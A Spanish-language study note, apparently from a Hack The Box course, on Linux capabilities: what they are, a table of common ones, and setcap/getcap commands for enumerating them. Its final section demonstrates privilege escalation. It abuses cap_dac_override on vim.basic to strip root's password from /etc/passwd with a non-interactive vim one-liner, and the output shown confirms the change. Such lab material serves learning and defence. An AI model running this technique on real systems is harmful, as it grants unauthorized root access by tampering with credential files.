Capabilities
Las capacidades son una característica de seguridad en el sistema operativo Linux que permite otorgar privilegios específicos a los procesos, brindando un control más preciso sobre las acciones que pueden realizar los programas en el sistema. Esta característica mejora la seguridad al permitir que se otorguen permisos de manera más granular, en lugar de depender del modelo tradicional basado en usuarios y grupos.
Comando para Configurar Capacidades:
sudo setcap cap_net_bind_service=+ep /usr/bin/vim.basic
Este comando le otorga al ejecutable /usr/bin/vim.basic
la capacidad de enlazarse a puertos de red, una acción restringida normalmente a los procesos con privilegios elevados.
Capacidad
Descripción
cap_sys_admin
Permite acciones con privilegios administrativos como modificar archivos del sistema.
cap_sys_chroot
Permite cambiar el directorio raíz del proceso.
cap_sys_ptrace
Permite depurar otros procesos, lo que puede exponer información confidencial.
cap_sys_nice
Permite cambiar la prioridad de los procesos.
cap_sys_time
Permite modificar el reloj del sistema.
cap_sys_resource
Permite modificar los límites de recursos del sistema.
cap_net_bind_service
Permite vincular un proceso a puertos de red.
Comando de Enumeración de Capacidades
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;
Este comando busca todos los ejecutables en los directorios comunes y luego usa getcap
para mostrar las capacidades asignadas a cada binario.
Matthewzx@htb[/htb]$ find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;
/usr/bin/vim.basic cap_dac_override=eip
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
Explotación
Cuando se obtiene acceso con una cuenta con privilegios bajos, puede encontrarse una capacidad como
cap_dac_override
en un binario. Esta capacidad permite al binario omitir las verificaciones de permisos en archivos y realizar cambios en archivos del sistema. Un ejemplo sería:
Matthewzx@htb[/htb]$ getcap /usr/bin/vim.basic
/usr/bin/vim.basic cap_dac_override=eip
Con esta capacidad, un atacante podría modificar archivos como
/etc/passwd
para escalar privilegios y obtener acceso root sin necesidad de contraseñas, por ejemplo:
/usr/bin/vim.basic /etc/passwd
También podemos realizar estos cambios en un modo no interactivo:
Matthewzx@htb[/htb]$ echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd
Matthewzx@htb[/htb]$ cat /etc/passwd | head -n1
root::0:0:root:/root:/bin/bash
Last updated